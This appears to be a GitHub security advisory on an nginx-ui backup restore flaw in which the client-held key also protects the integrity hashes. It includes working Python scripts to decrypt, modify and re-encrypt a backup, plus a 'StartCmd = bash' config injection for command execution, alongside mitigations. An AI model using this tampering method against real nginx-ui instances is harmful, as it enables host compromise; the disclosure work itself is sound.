+ "details": "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n - `backup_crypto.go`\n - `backup.go`\n - `restore.go`\n - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n <img width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" />\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n \n cipher = AES.new(key, AES.MODE_CBC, iv)\n decrypted = cipher.decrypt(encrypted_data)\n return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n key_b64, iv_b64 = token.split(\":\")\n os.makedirs(output_dir, exist_ok=True)\n print(f\"[*] File processing: {file_path}\")\n \n with zipfile.ZipFile(file_path, 'r') as main_zip:\n main_zip.extractall(output_dir)\n \n files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n \n for filename in files_to_decrypt:\n path = os.path.join(output_dir, filename)\n if os.path.exists(path):\n with open(path, \"rb\") as f:\n encrypted = f.read()\n \n decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n \n out_path = path + \".decrypted\"\n with open(out_path, \"wb\") as f:\n f.write(decrypted)\n print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n cipher = AES.new(key, AES.MODE_CBC, iv)\n return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n key_b64, iv_b64 = token.split(\":\")\n \n encrypted_blobs = {}\n for fname in files:\n with open(fname, \"rb\") as f:\n data = f.read()\n \n blob = encrypt_file(data, key_b64, iv_b64)\n\n target_name = fname.replace(\".decrypted\", \"\")\n encrypted_blobs[target_name] = blob\n print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n hash_content = \"\"\n for name, blob in encrypted_blobs.items():\n h = hashlib.sha256(blob).hexdigest()\n hash_content += f\"{name}: {h}\\n\"\n \n encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:\n for name, blob in encrypted_blobs.items():\n zf.writestr(name, blob)\n \n print(f\"\\n[*] Backup rebuild: {output_filename}\")\n print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n <img width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" />\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n <img width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" />\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n - Signing backup metadata using a server-side private key\n - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
0 commit comments